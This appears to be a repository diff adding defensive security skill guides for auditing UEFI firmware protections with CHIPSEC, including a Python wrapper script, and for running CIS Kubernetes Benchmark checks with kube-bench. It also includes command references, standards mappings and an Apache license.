The threat CHIPSEC addresses is MITRE ATT&CK **T1542.001 — Pre-OS Boot: System Firmware**: adversaries who modify system firmware (the BIOS/UEFI image on SPI flash) to gain stealthy, persistent, OS-survivable control. Firmware implants persist across OS reinstall and disk replacement and are invisible to most EDR. CHIPSEC's value is verifying the *prerequisites* that prevent such implants: that the SPI flash BIOS region is write-protected (BIOS_CNTL `BLE`/`SMM_BWP`, SPI Protected Ranges), that the flash descriptor locks region access, that SMRAM/SMRR are configured, and that Secure Boot variables are protected. It also dumps the SPI flash for offline forensic comparison.
Sources: Intel/CHIPSEC project (https://github.com/chipsec/chipsec), CHIPSEC documentation (https://chipsec.github.io/).
## When to Use
- Baseline firmware-security assessment of a new laptop/server platform or fleet image
- Verifying that BIOS write protection and SPI flash locks are correctly enabled by the OEM
- Firmware forensics: dumping SPI flash to compare against a known-good image
- Validating Secure Boot variable protection and S3 boot-script protection
- Hunting for evidence of a firmware implant or misconfiguration enabling one
## Prerequisites
- Physical or admin/root access to the target x86 platform (Intel or AMD)
- Linux (root) or Windows (Administrator), or a UEFI shell environment
- Ability to load a kernel driver (Secure Boot may need to allow the CHIPSEC driver, or use `--no_driver` for limited checks)
- Python 3.8+ and a C compiler/build tools for the kernel module on Linux
- Dedicated test hardware strongly recommended
Install CHIPSEC:
```bash
# From PyPI
pip install chipsec
# Or from source (builds the kernel helper/driver)
git clone https://github.com/chipsec/chipsec
cd chipsec
python setup.py install # builds and installs, including the Linux driver
# Verify
sudo chipsec_main --help
sudo chipsec_util --help
```
## Objectives
- Run the full automated platform-security test suite and interpret PASS/FAIL/WARNING
- Verify BIOS write protection (BIOS_CNTL) and SPI Protected Ranges
- Verify the SPI flash descriptor locks region read/write access
- Verify SMRAM/SMRR and SMI handler protections
- Verify Secure Boot variable protection and S3 boot-script protection
- Dump SPI flash and decode it for offline analysis
- Enumerate UEFI variables and detect anomalous/unexpected entries
## MITRE ATT&CK Mapping
| Technique ID | Name | Tactic |
|--------------|------|--------|
| T1542.001 | Pre-OS Boot: System Firmware | Persistence / Defense Evasion |
CHIPSEC defends against T1542.001 by verifying that the controls preventing unauthorized firmware modification are enabled. A FAIL on `common.bios_wp` (BIOS not write-protected) or `chipsec.modules.common.spi_lock` (flash descriptor unlocked) means an attacker with OS privileges could rewrite the SPI flash and implant persistent firmware — exactly the precondition for this technique.
## Workflow
### Step 1: Run the full automated test suite
`chipsec_main` with no module argument runs every applicable security check for the detected platform and prints a summary of PASS/FAIL/WARNING/INFORMATION results.
```bash
sudo chipsec_main
# Save machine-readable output for reporting / diffing
sudo chipsec_main -j results.json -x results.xml -l chipsec.log
```
### Step 2: Run the core firmware-protection modules individually
The `common` module group contains the OEM-independent security checks. Run the group or specific modules:
```bash
# Run the whole common group
sudo chipsec_main -m common
# BIOS write protection: checks BIOS_CNTL BLE/SMM_BWP and SPI protected ranges
sudo chipsec_main -m common.bios_wp
# SPI flash descriptor lock (FLOCKDN) — are flash region accesses locked?
sudo chipsec_main -m common.spi_lock
# SMRR programming — protects SMRAM from cache-based attacks
sudo chipsec_main -m common.smrr
# SMM BIOS write protection
sudo chipsec_main -m common.smm
# S3 resume boot-script protection (against bootscript table attacks)
sudo chipsec_main -m common.uefi.s3bootscript
```
### Step 3: Verify Secure Boot variable protection
```bash
# Checks that Secure Boot UEFI variables are properly protected
sudo chipsec_main -m common.secureboot.variables
# To actively test write protection of the variables (test hardware ONLY):
sudo chipsec_main -m common.secureboot.variables -a modify
```
### Step 4: Inspect SPI flash region access permissions
```bash
# Report SPI flash regions, descriptor, and access permissions
sudo chipsec_util spi info
# Check the SPI access-control module
sudo chipsec_main -m common.spi_access
```
### Step 5: Dump SPI flash for offline forensics
Dumping the flash lets you decode the firmware volumes and compare against a known-good OEM image.
```bash
# Dump the entire SPI flash to a file
sudo chipsec_util spi dump rom.bin
# Decode the dumped image: extracts firmware volumes, files, NVRAM variables, etc.
sudo chipsec_util decode rom.bin
```
### Step 6: Enumerate and triage UEFI variables
```bash
# List all UEFI variables from the runtime interface
sudo chipsec_util uefi var-list
# List variables directly from the SPI image (offline)
sudo chipsec_util uefi var-find PK
sudo chipsec_util uefi var-read db <GUID> db.bin
# Decode the UEFI firmware structure
sudo chipsec_util uefi decode rom.bin
```
### Step 7: Limited assessment without a kernel driver
Where loading the driver is impossible (locked-down Secure Boot), some checks still run read-only.
```bash
sudo chipsec_main -n # --no_driver: skip checks that need the driver
sudo chipsec_main -p <PLATFORM> # force platform code if auto-detect fails
```
### Step 8: Triage results and report
- **FAIL** on `bios_wp` / `spi_lock` → firmware is rewritable from the OS: high risk for T1542.001.
- **FAIL** on `secureboot.variables` → Secure Boot policy can be tampered.
- Compare the `spi dump` against the OEM's known-good image (hash firmware volumes) to detect unauthorized modification.
- Record platform, BIOS version, and every FAIL/WARNING with the relevant register values for the report.
## Tools and Resources
| Tool | Purpose | Source |
|------|---------|--------|
| chipsec_main | Automated platform-security test suite | https://github.com/chipsec/chipsec |
| chipsec_util | Manual hardware/firmware access (spi, uefi, decode) | https://chipsec.github.io/ |
| UEFITool | GUI/CLI parsing of dumped UEFI images | https://github.com/LongSoft/UEFITool |
| Binarly fwhunt | Firmware vulnerability/implant hunting rules | https://github.com/binarly-io/fwhunt-scan |
| NSA UEFI Secure Boot guidance | Hardening reference | https://media.defense.gov/ |
## Core Module Reference
| Module | Checks |
|--------|--------|
| common.bios_wp | BIOS_CNTL BLE / SMM_BWP and SPI Protected Ranges |
| common.spi_lock | SPI flash descriptor FLOCKDN |
| common.spi_access | SPI flash region read/write permissions |
| common.smrr | System Management Range Registers programming |
| common.smm | SMM BIOS write protection |
| common.secureboot.variables | Secure Boot variable protection |
| common.uefi.s3bootscript | S3 resume boot-script protection |
## Validation Criteria
- [ ] CHIPSEC installed and driver loads (or `-n` documented if not)
- [ ] Full `chipsec_main` suite executed with JSON/XML/log output saved
- [ ] `common.bios_wp` result interpreted (write protection state)
- [ ] `common.spi_lock` / `spi_access` result interpreted (descriptor lock)
- [ ] SMRR/SMM module results recorded
- [ ] Secure Boot variable protection checked
- [ ] SPI flash dumped and decoded for offline analysis
- [ ] UEFI variables enumerated and triaged
- [ ] All FAIL/WARNING findings documented with platform/BIOS version
- [ ] Write/modify modules NOT run on production hardware
@@ -0,0 +1,52 @@
# Command Reference - CHIPSEC
## chipsec_main (test suite)
| Command / Flag | Purpose |
|----------------|---------|
| `chipsec_main` | Run all applicable security modules for the platform |
| `-m, --module <name>` | Run a specific module, e.g. `-m common.bios_wp` |
| `-m common` | Run the whole OEM-independent module group |
| `-mx <modules>` | Exclude listed modules |
| `-a, --module_args` | Pass arguments to a module (e.g. `-a modify`) |
| `-p, --platform <code>` | Force platform code when auto-detect fails |
| `-n, --no_driver` | Skip checks requiring the kernel driver |
| `-l, --log <file>` | Write output to a log file |
| `-j, --json <file>` | JSON results output |
| `-x, --xml <file>` | JUnit-style XML results output |
| `-v / -vv / -d` | Verbose / very verbose / debug logging |
## Key security modules
| Module | Checks |
|--------|--------|
| `common.bios_wp` | BIOS_CNTL BLE / SMM_BWP and SPI Protected Ranges |
| `common.spi_lock` | SPI flash descriptor FLOCKDN lock |
| `common.spi_access` | SPI flash region access permissions |
| `common.smrr` | SMRR programming (SMRAM cache protection) |
| `common.smm` | SMM BIOS write protection |
| `common.secureboot.variables` | Secure Boot variable protection (`-a modify` to test writes) |
| `common.uefi.s3bootscript` | S3 resume boot-script protection |
## chipsec_util (manual access)
| Command | Purpose |
|---------|---------|
| `chipsec_util spi info` | Report SPI flash regions/descriptor/permissions |
| `chipsec_util spi dump rom.bin` | Dump entire SPI flash to file |
| `chipsec_util spi read <addr> <len> out.bin` | Read SPI flash range |
| `chipsec_util decode rom.bin` | Decode dumped image into volumes/files/variables |
| `chipsec_util uefi var-list` | List UEFI variables (runtime) |
| `chipsec_util uefi var-find <name>` | Find a UEFI variable |
| `chipsec_util uefi var-read <name> <GUID> out.bin` | Read a variable |
| `chipsec_util uefi decode rom.bin` | Decode UEFI firmware structure from image |
| `chipsec_util platform` | Show detected platform info |
## Result interpretation
| Result | Meaning |
|--------|---------|
| PASSED | Protection is correctly enabled |
| FAILED | Protection missing/misconfigured — exploitable |
| WARNING | Potential issue / needs manual review |
| INFORMATION | Informational, no pass/fail |
@@ -0,0 +1,29 @@
# Standards and References - Auditing UEFI Firmware with CHIPSEC
## MITRE ATT&CK
| Technique ID | Name | Tactic | Rationale |
|--------------|------|--------|-----------|
| T1542.001 | Pre-OS Boot: System Firmware | Persistence / Defense Evasion | CHIPSEC verifies the SPI flash and BIOS write-protection locks whose absence enables adversaries to modify system firmware for stealthy, OS-survivable persistence. |
## NIST Cybersecurity Framework 2.0
| ID | Name | Rationale |
|----|------|-----------|
| ID.AM-02 | Inventories of software, services, and systems managed by the organization are maintained | Firmware version, SPI flash image, and platform-security configuration are part of the asset/software inventory that CHIPSEC enumerates and baselines. |
## Official Resources
- CHIPSEC project: https://github.com/chipsec/chipsec
- CHIPSEC documentation: https://chipsec.github.io/
- Running CHIPSEC: https://chipsec.github.io/usage/Running-Chipsec.html
- common.bios_wp module: https://chipsec.github.io/modules/
- common.secureboot.variables module docs
- UEFITool: https://github.com/LongSoft/UEFITool
- Binarly fwhunt-scan: https://github.com/binarly-io/fwhunt-scan
## Key Research
- Intel ATR: original CHIPSEC framework and BlackHat arsenal presentations
- "Exploring Your System Deeper with CHIPSEC" (CSW)
- NSA UEFI Secure Boot Customization / firmware hardening guidance
@@ -0,0 +1,141 @@
#!/usr/bin/env python3
"""
chipsec-audit — run a CHIPSEC firmware-posture baseline and parse results.
Wraps the real CHIPSEC CLIs:
- chipsec_main : module runner
- chipsec_util : SPI/UEFI utilities
Project: https://github.com/chipsec/chipsec
Install:
pip install chipsec # needs root and a kernel driver build
Examples:
sudo python agent.py baseline --log chipsec.log --json report.json
sudo python agent.py module --name common.bios_wp
sudo python agent.py dump --out rom.bin
"""
import argparse
import json
import os
import re
import shutil
import subprocess
import sys
# CHIPSEC prints lines like: [+] PASSED: BIOS region write protection ...
RESULT_RE = re.compile(r"\[[+\-!*]\]\s*(PASSED|FAILED|WARNING|ERROR|NOT APPLICABLE|INFORMATION)\b[:\s]*(.*)",
re.IGNORECASE)
CORE_MODULES = [
"common.bios_wp",
"common.spi_lock",
"common.spi_desc",
"common.smm",
"common.secureboot.variables",
]
def _require(tool: str) -> None:
if shutil.which(tool) is None:
sys.exit(f"error: '{tool}' not found on PATH. Install CHIPSEC: pip install chipsec")
def _warn_root() -> None:
if hasattr(os, "geteuid") and os.geteuid() != 0:
print("[!] warning: CHIPSEC needs root/Administrator to load its driver.", file=sys.stderr)
def _run(argv: list) -> subprocess.CompletedProcess:
print(f"[*] {' '.join(argv)}", file=sys.stderr)
return subprocess.run(argv, capture_output=True, text=True)
def parse_results(stdout: str) -> list:
findings = []
for line in stdout.splitlines():
m = RESULT_RE.search(line)
if m:
findings.append({"result": m.group(1).upper(), "detail": m.group(2).strip()})
return findings
def cmd_baseline(args) -> int:
_require("chipsec_main")
_warn_root()
argv = ["chipsec_main"]
if args.log:
argv += ["-l", args.log]
proc = _run(argv)
findings = parse_results(proc.stdout)
fails = [f for f in findings if f["result"] in ("FAILED", "ERROR")]
warns = [f for f in findings if f["result"] == "WARNING"]
summary = {
"total_results": len(findings),
"failed": len(fails),
"warnings": len(warns),
"failures": fails,
"warning_items": warns,
}
if args.json:
with open(args.json, "w", encoding="utf-8") as fh:
json.dump({"summary": summary, "all": findings}, fh, indent=2)
print(f"[+] report written to {args.json}", file=sys.stderr)
print(json.dumps(summary, indent=2))
return 1 if fails else 0
def cmd_module(args) -> int:
_require("chipsec_main")
_warn_root()
targets = [args.name] if args.name else CORE_MODULES
out = {}
rc = 0
for mod in targets:
proc = _run(["chipsec_main", "-m", mod])
res = parse_results(proc.stdout)
out[mod] = res
if any(r["result"] in ("FAILED", "ERROR") for r in res):
rc = 1
print(json.dumps(out, indent=2))
return rc
def cmd_dump(args) -> int:
_require("chipsec_util")
_warn_root()
_run(["chipsec_util", "spi", "info"])
proc = _run(["chipsec_util", "spi", "dump", args.out])
if proc.returncode != 0 or not os.path.exists(args.out):
print("[!] SPI dump failed", file=sys.stderr)
print(proc.stderr, file=sys.stderr)
return 1
size = os.path.getsize(args.out)
print(json.dumps({"dump": args.out, "bytes": size}, indent=2))
print("[*] decode offline with: chipsec_util uefi decode " + args.out, file=sys.stderr)
return 0
def main() -> int:
p = argparse.ArgumentParser(description="CHIPSEC firmware-posture audit helper.")
sub = p.add_subparsers(dest="cmd", required=True)
b = sub.add_parser("baseline", help="run full chipsec_main and summarize")
b.add_argument("--log", help="CHIPSEC log file path")
b.add_argument("--json", help="write parsed JSON report here")
b.set_defaults(func=cmd_baseline)
m = sub.add_parser("module", help="run one or the core security modules")
m.add_argument("--name", help="specific module, e.g. common.bios_wp (default: core set)")
m.set_defaults(func=cmd_module)
d = sub.add_parser("dump", help="dump SPI flash (read-only)")
d.add_argument("--out", default="rom.bin")
d.set_defaults(func=cmd_dump)
args = p.parse_args()
return args.func(args)
if __name__ == "__main__":
sys.exit(main())
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,219 @@
---
name: benchmarking-kubernetes-with-kube-bench
description: Run CIS Kubernetes Benchmark checks and remediate findings with kube-bench.
domain: cybersecurity
subdomain: container-security
tags:
- kubernetes
- kube-bench
- cis-benchmark
- container-security
- hardening
- compliance
- cluster-security
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
mitre_attack:
- T1610
---
# Benchmarking Kubernetes with kube-bench
## Overview
kube-bench (by Aqua Security) is an open-source tool that checks whether a Kubernetes cluster is deployed securely by running the checks documented in the **CIS Kubernetes Benchmark**. It inspects the control-plane components (API server, controller manager, scheduler, etcd), the kubelet and worker-node configuration, and cluster-wide policy settings, then reports each check as PASS, FAIL, WARN, or INFO with a remediation recommendation drawn directly from the CIS guidance. Tests are configuration-driven YAML files, so kube-bench tracks new Kubernetes versions and benchmark revisions and supports managed distributions (EKS, GKE, AKS, ACK, OpenShift, RKE, k3s).
Hardening a cluster against the CIS Benchmark directly reduces the attack surface for **T1610 (Deploy Container)**, where an adversary deploys a container to execute code or evade defenses — for example by abusing privileged containers, host namespaces, anonymous API access, or insecure kubelet settings that an unhardened cluster leaves exposed.
kube-bench can run as a standalone binary on a node, inside a container, or — most commonly — as a Kubernetes Job whose pod has the host filesystem mounted so it can read the relevant config files. Output is available as human-readable text, JSON, JUnit, or AWS Security Finding Format (ASFF) and can be pushed to a PostgreSQL database for trend tracking.
## When to Use
- When establishing a security baseline for a new Kubernetes cluster against the CIS Kubernetes Benchmark.
- When performing periodic compliance audits of control-plane and node hardening.
- When validating remediation after applying hardening changes (re-run to confirm checks now PASS).
- When integrating cluster compliance scanning into CI/CD or a continuous monitoring pipeline.
- When preparing evidence for SOC 2, PCI DSS, or internal hardening compliance.
## Prerequisites
- Access to the cluster: either SSH access to a control-plane/worker node (binary mode) or `kubectl` with permission to create Jobs (in-cluster mode).
- Knowledge of the cluster's Kubernetes version (kube-bench auto-detects, or specify with `--version` / `--benchmark`).
- Install kube-bench (Aqua Security official methods):
```bash
# Binary release (Linux)
KB_VERSION=0.10.7
curl -L -o kube-bench.tgz \
"https://github.com/aquasecurity/kube-bench/releases/download/v${KB_VERSION}/kube-bench_${KB_VERSION}_linux_amd64.tar.gz"
tar -xzf kube-bench.tgz
sudo mv kube-bench /usr/local/bin/
sudo cp -R cfg /etc/kube-bench/cfg
# Via Go install
go install github.com/aquasecurity/kube-bench@latest
# Run as a one-off container directly on a node (mounts host config)
docker run --rm --pid=host \
-v /etc:/etc:ro -v /var:/var:ro \
-t docker.io/aquasec/kube-bench:latest run --targets node
# Verify
kube-bench version
```
## Objectives
- Run kube-bench against the appropriate benchmark for the cluster's Kubernetes version.
- Scan control-plane (master), node, etcd, control-plane policies, and managed-service targets.
- Produce machine-readable JSON/JUnit output for pipelines and dashboards.
- Triage FAIL and WARN results and apply CIS remediation guidance.
- Re-run to validate that remediations now PASS.
## MITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Relevance |
|--------------|------|--------|-----------|
| T1610 | Deploy Container | Execution / Defense Evasion | CIS Benchmark hardening enforced by kube-bench restricts privileged/host-namespace deployments, anonymous API access, and insecure kubelet settings that adversaries abuse when deploying malicious containers. |
## Workflow
### 1. Run the default scan (auto-detect)
Run all applicable targets, letting kube-bench detect the Kubernetes version and benchmark:
```bash
sudo kube-bench
```
### 2. Run as a Kubernetes Job (in-cluster)
Apply the provided Job manifest from the kube-bench repo and read the results from the pod logs:
```bash
# General-purpose job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
# Wait, then retrieve results
kubectl get pods -l app=kube-bench
kubectl logs -l app=kube-bench
# Platform-specific jobs are available, e.g. EKS:
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job-eks.yaml
```
### 3. Target specific components
Use `run --targets` to scope the scan to particular component groups:
```bash
# Control-plane (API server, scheduler, controller manager)
sudo kube-bench run --targets master
# Worker node (kubelet, proxy)
sudo kube-bench run --targets node
# etcd datastore
sudo kube-bench run --targets etcd
# Cluster-wide policies (RBAC, pod security, network policy)
sudo kube-bench run --targets policies
# Combine multiple targets
sudo kube-bench run --targets master,node,etcd,policies
```
### 4. Pin a specific benchmark or Kubernetes version
When auto-detection is wrong or you must audit against a specific revision, pin the benchmark explicitly:
```bash
# Pin to a specific CIS benchmark revision
sudo kube-bench run --benchmark cis-1.8
# Or map by Kubernetes version
sudo kube-bench --version 1.27
# Managed/distribution-specific benchmarks
sudo kube-bench run --benchmark eks-1.5.0
sudo kube-bench run --benchmark gke-1.6.0
sudo kube-bench run --benchmark rke2-cis-1.7
```
### 5. Run or skip individual checks
Focus on or exclude specific check IDs during remediation cycles:
```bash
# Run only specific checks
sudo kube-bench run --targets master --check 1.2.1,1.2.2
# Skip noisy/known-accepted checks
sudo kube-bench run --targets node --skip 4.2.6
```
### 6. Produce machine-readable output
Emit JSON or JUnit for ingestion into pipelines, SIEM, or dashboards, and write to a file:
```bash
# JSON to a file
sudo kube-bench run --targets master,node --json --outputfile kube-bench-report.json
# JUnit (for CI test reporting)
sudo kube-bench --junit --outputfile kube-bench-junit.xml
# AWS Security Finding Format (for Security Hub)
sudo kube-bench run --targets node --asff
```
### 7. Triage and remediate FAIL/WARN findings
Each failing check prints a remediation. Apply the CIS-recommended fix on the node/manifest, for example tightening API server flags in the static pod manifest:
```bash
# Example remediation for a common control-plane FAIL:
# CIS 1.2.x — ensure anonymous-auth is disabled on the API server.
# Edit the static pod manifest and set the flag:
sudo vi /etc/kubernetes/manifests/kube-apiserver.yaml
# - --anonymous-auth=false
# The kubelet restarts the static pod automatically.
# Example node remediation — kubelet config file permissions (CIS 4.1.x):
sudo chmod 600 /etc/kubernetes/kubelet/kubelet-config.json
sudo chown root:root /etc/kubernetes/kubelet/kubelet-config.json
```
### 8. Re-validate after remediation
Re-run the relevant target and confirm the previously failing checks now PASS, then track the score over time:
```bash
sudo kube-bench run --targets master --check 1.2.1 --json --outputfile recheck.json
# Optional: persist results to PostgreSQL for trend tracking
sudo kube-bench run --targets master,node --pgsql
```
## Tools and Resources
| Tool / Resource | Purpose | Link |
|------------------|---------|------|
| kube-bench | CIS Kubernetes Benchmark checker | https://github.com/aquasecurity/kube-bench |
| kube-bench docs | Running / platforms / flags | https://aquasecurity.github.io/kube-bench/ |
| CIS Kubernetes Benchmark | Source hardening standard | https://www.cisecurity.org/benchmark/kubernetes |
| Trivy Operator | Continuous in-cluster compliance + vuln scanning | https://github.com/aquasecurity/trivy-operator |
| kube-hunter | Complementary penetration-testing tool | https://github.com/aquasecurity/kube-hunter |
## Validation Criteria
- [ ] kube-bench installed (`kube-bench version`) or running as a Job.
- [ ] Scan run against the correct benchmark for the cluster's Kubernetes version.
- [ ] master, node, etcd, and policies targets each scanned.
- [ ] JSON/JUnit output produced for pipeline/dashboard ingestion.
- [ ] FAIL and WARN findings triaged and prioritized.
- [ ] CIS remediation applied to control-plane manifests and node configs.
- [ ] Re-run confirms previously failing checks now PASS.
- [ ] Results tracked over time (file archive or PostgreSQL).
@@ -0,0 +1,78 @@
# kube-bench — Command and Flag Reference
## Core Commands
| Command | Description |
|---------|-------------|
| `kube-bench` | Auto-detect version and run all applicable checks |
| `kube-bench run` | Explicit run command (use with `--targets`/`--benchmark`) |
| `kube-bench version` | Print kube-bench version |
## Key Flags
| Flag | Description | Example |
|------|-------------|---------|
| `--targets` | Component groups to test | `--targets master,node,etcd,policies,controlplane,managedservices` |
| `--benchmark` | Pin a specific benchmark revision | `--benchmark cis-1.8` |
| `--version` | Map by Kubernetes version | `--version 1.27` |
| `--check` | Run only specific check IDs (comma list) | `--check 1.2.1,1.2.2` |
| `--skip` | Skip specific check IDs | `--skip 4.2.6` |
| `--json` | Output results as JSON | `--json` |
| `--junit` | Output results as JUnit XML | `--junit` |
| `--asff` | AWS Security Finding Format (Security Hub) | `--asff` |
| `--pgsql` | Write results to PostgreSQL | `--pgsql` |
| `--outputfile` | Write output to a file | `--outputfile report.json` |
| `--config-dir` | Path to config/cfg directory | `--config-dir /etc/kube-bench/cfg` |
| `--config` | Path to alternate config.yaml | `--config ./config.yaml` |
| `--include-test-output` | Include raw command output in results | `--include-test-output` |
## Targets
| Target | Scope |
|--------|-------|
| `master` | Control-plane: API server, scheduler, controller manager |
| `etcd` | etcd datastore configuration |
| `controlplane` | Authentication/authorization and logging policies |
| `node` | kubelet and kube-proxy on worker nodes |
| `policies` | RBAC, service accounts, pod security, network policy |
| `managedservices` | Managed-service-specific controls (EKS/GKE/etc.) |
## Benchmark Profiles (examples)
| Benchmark | Platform |
|-----------|----------|
| `cis-1.8`, `cis-1.9` | Upstream Kubernetes (CIS) |
| `eks-1.5.0` | Amazon EKS |
| `gke-1.6.0` | Google GKE |
| `aks-1.7` | Azure AKS |
| `rke2-cis-1.7`, `k3s-cis-1.7` | Rancher RKE2 / k3s |
| `ocp-4.x` | OpenShift |
## In-Cluster Job Manifests
| File | Use |
|------|-----|
| `job.yaml` | Generic in-cluster run |
| `job-master.yaml` | Control-plane node checks |
| `job-node.yaml` | Worker node checks |
| `job-eks.yaml`, `job-gke.yaml`, `job-aks.yaml` | Managed-platform variants |
```bash
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench
```
## Result States
| State | Meaning |
|-------|---------|
| `PASS` | Check satisfied |
| `FAIL` | Check failed — remediation required |
| `WARN` | Manual verification needed |
| `INFO` | Informational only |
## External References
- Running: https://github.com/aquasecurity/kube-bench/blob/main/docs/running.md
- Platforms: https://github.com/aquasecurity/kube-bench/blob/main/docs/platforms.md
- Output formats: https://github.com/aquasecurity/kube-bench/blob/main/docs/output.md
@@ -0,0 +1,28 @@
# Standards and References — Benchmarking Kubernetes with kube-bench
## NIST CSF 2.0
| ID | Name | Rationale |
|----|------|-----------|
| PR.PS-01 | Configuration management practices are established and applied | kube-bench audits Kubernetes control-plane, node, and policy configuration against the CIS Benchmark, enforcing secure configuration management. |
## MITRE ATT&CK
